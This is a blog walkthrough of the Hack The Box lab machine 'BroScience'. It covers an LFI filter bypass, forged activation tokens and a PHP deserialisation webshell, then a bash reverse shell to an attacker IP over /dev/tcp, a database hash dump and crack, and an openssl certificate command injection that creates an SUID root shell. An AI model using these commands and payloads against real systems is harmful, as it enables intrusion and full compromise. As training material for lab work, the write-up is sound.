Skip to main content

Command Palette

Search for a command to run...

BroScience

Hackthebox Machine

Updated
•9 min read•View as Markdown
BroScience
A
"Aspiring Cybersecurity Professional | Documenting hands-on labs, technical research, and system security."

BroScience is a Medium Difficulty Linux machine that features a web application vulnerable to LFI. Through the ability to read arbitrary files on the target, the attacker gains an insight into how account activation codes are generated, and is thus able to create a set of potentially valid tokens to activate a newly created account. Once logged in, further enumeration reveals that the site's theme-picker functionality is vulnerable to PHP deserialisation using a custom gadget chain, allowing an attacker to copy files on the target system, eventually leading to remote code execution. Once a foothold has been established, a handful of hashes are recovered from a database, which once cracked prove to contain a valid SSH password for the machine's main user bill. Finally, the privilege escalation is based on a cronjob executing a Bash script that is vulnerable to command injection through a certificate generated by openssl, forfeiting root access to the attacker.

lets start with an nmap scan

nmap -p- -T5 10.129.228.129
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-26 01:38 -0400
Nmap scan report for 10.129.228.129
Host is up (0.018s latency).
Not shown: 65532 closed tcp ports (reset)
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https

Nmap done: 1 IP address (1 host up) scanned in 12.07 seconds
nmap -p 22,80,443 -sCV 10.129.228.129
Starting Nmap 7.99 ( https://nmap.org ) at 2026-09-26 01:43 -0400
Nmap scan report for 10.129.228.129
Host is up (0.023s latency).

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 df:17:c6:ba:b1:82:22:d9:1d:b5:eb:ff:5d:3d:2c:b7 (RSA)
|   256 3f:8a:56:f8:95:8f:ae:af:e3:ae:7e:b8:80:f6:79:d2 (ECDSA)
|_  256 3c:65:75:27:4a:e2:ef:93:91:37:4c:fd:d9:d4:63:41 (ED25519)
80/tcp  open  http     Apache httpd 2.4.54
|_http-title: Did not follow redirect to https://broscience.htb/
|_http-server-header: Apache/2.4.54 (Debian)
443/tcp open  ssl/http Apache httpd 2.4.54 ((Debian))
|_ssl-date: TLS randomness does not represent time
|_http-server-header: Apache/2.4.54 (Debian)
| tls-alpn: 
|_  http/1.1
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
|_http-title: BroScience : Home
| ssl-cert: Subject: commonName=broscience.htb/organizationName=BroScience/countryName=AT
| Not valid before: 2022-07-14T19:48:36
|_Not valid after:  2023-07-14T19:48:36
Service Info: Host: broscience.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.53 seconds

we see the website name broscience.htb

we visit website called broscience which highlights three foundational strength-training movements

looking at the page source Images are loaded in a non-standard way on this web page

the img.php file is responsible for loading images

looking at the includes directory lead us to this

tesing for lfi

we get detected

I removed the forward slash and this time we don't get detected

so i add the forward slash back but url encoded it

so it gets detected again so we going to double url encode the percent character

we bypass lfi

This code is a PHP script designed to serve image files from a server while attempting to block security attacks.

Parameter Validation

if (!isset($_GET['path'])) {
    die('<b>Error:</b> Missing \'path\' parameter.');
}

What it does: It checks if the URL contains a query parameter named path (e.g., ?path=logo.png)

.Result: If path is missing, the script stops immediately and displays an error message

The Blacklist Filter (The Security Check)

$path = $_GET['path'];

$badwords = array("../", "etc/passwd", ".ssh");
foreach ($badwords as $badword) {
    if (strpos($path, $badword) !== false) {
        die('<b>Error:</b> Attack detected.');
    }
}

What it does: It looks at the value provided in path and checks it against a blacklist of forbidden phrases (../, etc/passwd, and .ssh). These phrases are commonly used in Directory Traversal attacks to break out of the intended folder.

Result: If it finds any of these phrases, it blocks the request and displays "Error: Attack detected."

The Flawed Normalization Step

$path = urldecode($path);

What it does: It manually decodes the text in the path variable a second time.

The Flaw: By putting this after the security check, it introduces a double-decoding vulnerability. If an attacker sends double-URL-encoded characters (like %252e%252e%252f), the security check sees harmless text and lets it pass. Then, this line decodes it into malicious characters (../), completely bypassing the filter.

File Delivery

header('Content-Type: image/png');
echo file_get_contents('/var/www/html/images/' . $path);

What it does: It tells the browser to expect a PNG image. Then, it looks inside the server's /var/www/html/images/ folder, grabs the file specified in $path, and sends its raw contents directly to the user.

How to Fix This Safely (Remediation)

// Secure alternative: Forces the application to only look inside the target directory
$filename = basename($_GET['path']); 
echo file_get_contents('/var/www/html/images/' . $filename);

lets view db_connect.php

database configuration credentials

I use ffuf on the website

ffuf -u https://broscience.htb/FUZZ -w /home/arosion/wordlists/big.txt -e .php, .txt
ffuf -u https://broscience.htb/includes/FUZZ -w /home/arosion/wordlists/big.txt -e .php, .txt

lets view the utils.php

a PHP Script to Generate the Token

we see the function name that's responsible for activation code generation for newly registered users?

trying to view the /etc/passwd

I encode it to view it

we see a user name bill

back to the activation code I have ai create a activation code script

#!/bin/sh

DATE=$(curl -sk -D - -o /dev/null \
  https://broscience.htb/register.php \
  -d "username=victor&email=victor@gmail.com&password=cool1234&password-confirm=cool1234" |
  grep -i '^Date:' | sed 's/^Date: //I' | tr -d '\r')

TS=$(date -d "$DATE" +%s)

php -r '
$chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
srand((int)$argv[1]);
$code = "";
for ($i = 0; $i < 32; $i++)
    $code .= $chars[rand(0, strlen($chars)-1)];
echo "$code\n";
' "$TS"
chmod +x gen.code.sh
./gen.code.sh

as we see user-prefs is the name of the cookie that gets set on successful login to an activated account

make sure to create a php webshell

I had ai create a script that generate a cookie

./generate.php

make sure to have your python server running

python3 http.server 80

type the cookie you generated and refresh the page

nc -lvnp 443
curl -k 'https://broscience.htb/shell.php' --data-urlencode 'cmd=bash -c "bash -i >& /dev/tcp/10.10.15.180/443 0>&1"'

upgrade shell

python3 -c 'import pty; pty.spawn("/bin/bash")'

Press Ctrl-Z, then on Kali:

stty raw -echo; fg

Press Enter, followed by

export TERM=xterm

lets login to the database using the creds we got earlier

psql -h 127.0.0.1 -d broscience -U dbuser
\dt

Lists all tables in the current database schema to find where user data is stored

select * from users;

Dumps all rows and columns from the users table, which typically contains usernames and password hashes

\pset format unaligned
\pset tuples_only on

Disables table borders/alignment and hides column headers/footers to produce a clean, raw text output of the data for scripting

tr '|' ':' < hashes.txt > cracked_hashes.txt

Replaces pipe delimiters (|) with colons (:) in a local file named hashes.txt to format it correctly for password crackers

sed 's/$/:NaCl/' cracked_hashes.txt > salted_hashes.txt

Appends a static salt (:NaCl) to the end of every line in the hash file, mimicking how the application stores salted passwords.

cat salted_hashes.txt

Prints the contents of the newly created salted hash file to verify the formatting before cracking

hashcat salted_hashes.txt --user /usr/share/wordlists/rockyou.txt

I do this to see what mode to run on

I'm go with mode 20

hashcat salted_hashes.txt --user -m 20 --show

back on the target machine

su bill

here the user flag

use a tool called pspy

https://github.com/DominicBreuker/pspy

make sure to have python server running on attack machine

python3 -m http.server 8000

on target machine

wget http://10.10.15.180:8000/pspy64

Downloads the 64-bit version of the pspy binary from your local attacker machine (10.10.15.180) onto the target system.

chmod +x pspy64

Modifies the file permissions to make the downloaded pspy64 binary executable.

./pspy64 -pf -i 1000

Executes pspy. The flags tell it to show process execution triggers (-p), show file system events (-f), and check for new processes every 1000 milliseconds / 1 second (-i 1000). You likely used this to spot a background cron job or automated script running as root.

before doing the steps below it wouldn't work until i ssh into bill

ssh bill@broscience.htb
openssl req -x509 -nodes -newkey rsa:2048 -keyout /dev/null -out Certs/broscience.crt -days 1

Generates a temporary self-signed SSL certificate valid for 1 day, discarding the private key (/dev/null) and saving the certificate to Certs/broscience.crt.

$(cp /bin/bash /tmp/victor; chmod 4777 /tmp/victor)
  • This is the malicious payload likely injected into the application or certificate field. When the root cron job runs, it executes this command as root.

  • It copies the system shell (/bin/bash) to a temporary file named /tmp/victor.

  • It applies chmod 4777 to it. The 4 is crucial—it sets the SUID (Set Owner User ID) bit. This ensures that whoever runs /tmp/victor will execute it with the permissions of the file's owner (root).

ls -la /tmp/victor

Checks the /tmp directory to confirm the exploit worked. You are looking to see if the file victor exists, is owned by root, and has the SUID bit active (indicated by an -rwsrwxrwx in the permissions).

/tmp/victor -p

Executes your custom SUID bash shell. The -p (privileged) flag is mandatory because modern versions of bash will drop root privileges by default unless explicitly told to preserve them. Executing this successfully grants you an interactive root shell.

we get root

Hack The Box Walkthroughs

Part 3 of 3

Detailed walkthroughs, writeups, and methodologies for Hack The Box machines and cyber security challenges. Documenting my journey from initial access to root.

Start from the beginning

VulnCicada

Hackthebox Machine